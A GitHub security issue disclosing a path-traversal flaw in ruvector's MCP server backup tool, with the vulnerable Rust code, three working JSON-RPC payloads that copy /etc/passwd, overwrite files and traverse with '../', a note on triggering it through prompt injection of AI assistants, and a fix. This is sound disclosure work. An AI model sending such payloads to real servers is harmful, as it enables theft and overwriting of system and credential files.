Skip to content

[SECURITY] CWE-22: Path Traversal in MCP Server (vector_db_backup) - Arbitrary File Read/Write #207

@jiayuqi7813

Description

@jiayuqi7813

Security Vulnerability Report

Severity: Critical (CVSS 3.1: 9.1)
CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Versions: ruvector <= 2.0.4 (all versions)
Affected Component: crates/ruvector-cli/src/mcp/handlers.rs, lines 461-467


Summary

The vector_db_backup tool in ruvector's MCP (Model Context Protocol) server accepts user-controlled db_path and backup_path parameters and passes them directly to std::fs::copy() without any path validation, sanitization, or directory confinement.

This allows an attacker to read arbitrary files and overwrite arbitrary files on the system running the MCP server.

Vulnerable Code

// crates/ruvector-cli/src/mcp/handlers.rs, lines 461-467
async fn tool_backup(&self, args: &Value) -> Result<String> {
    let params: BackupParams = serde_json::from_value(args.clone())?;
    // VULNERABILITY: No path validation on user-supplied paths
    std::fs::copy(&params.db_path, &params.backup_path)
        .context("Failed to backup database")?;
    Ok(format!("Backed up to: {}", params.backup_path))
}

Additionally affected:

  • tool_create_db (line 391): db_options.storage_path = params.path.clone();
  • get_or_open_db (line 478): db_options.storage_path = path.to_string();

Impact

An attacker who can send JSON-RPC requests to the MCP server can:

  1. Read arbitrary files (e.g., /etc/passwd, /etc/shadow, ~/.ssh/id_rsa, application secrets)
  2. Overwrite arbitrary files with attacker-controlled content
  3. Use ../ traversal to escape any working directory

In the primary use case (MCP server integrated with AI assistants), this vulnerability can be exploited via prompt injection — the AI assistant could be tricked into calling vector_db_backup with malicious paths without user awareness.

Proof of Concept

Environment: ruvector v2.0.4, macOS/Linux, ruvector-mcp --transport stdio

POC 1: Arbitrary File Read

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"vector_db_backup","arguments":{"db_path":"/etc/passwd","backup_path":"/tmp/stolen"}}}

Result: /etc/passwd successfully copied to /tmp/stolen

POC 2: Arbitrary File Overwrite

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"vector_db_backup","arguments":{"db_path":"/tmp/attacker_payload","backup_path":"/tmp/victim_file"}}}

Result: Target file overwritten with attacker content ✅

POC 3: Path Traversal with ../

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"vector_db_backup","arguments":{"db_path":"../../../../../../../etc/hosts","backup_path":"/tmp/stolen_hosts"}}}

Result: /etc/hosts exfiltrated via directory traversal ✅

All 3/3 POCs verified successfully.

A full automated Python POC script is available upon request.

CVSS 3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Score: 9.1 (Critical)

Metric Value Rationale
Attack Vector Network MCP supports SSE network transport
Attack Complexity Low Single JSON-RPC request
Privileges Required None No authentication on MCP server
User Interaction None Exploitable without user action
Confidentiality High Read any file on the system
Integrity High Overwrite any file on the system

Suggested Remediation

use std::path::{Path, PathBuf};

fn validate_path(input: &str, allowed_dir: &Path) -> Result<PathBuf> {
    let canonical = std::fs::canonicalize(input)
        .or_else(|_| Ok::<PathBuf, anyhow::Error>(PathBuf::from(input)))?;
    if !canonical.starts_with(allowed_dir) {
        anyhow::bail!("Path '{}' is outside allowed directory '{}'",
            input, allowed_dir.display());
    }
    Ok(canonical)
}

Apply path validation to tool_backup, tool_create_db, and get_or_open_db.

CVE Request

I am requesting a CVE ID for this vulnerability. This affects all published versions of ruvector-cli on crates.io (https://crates.io/crates/ruvector-cli) and the ruvector npm package (https://www.npmjs.com/package/ruvector).

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions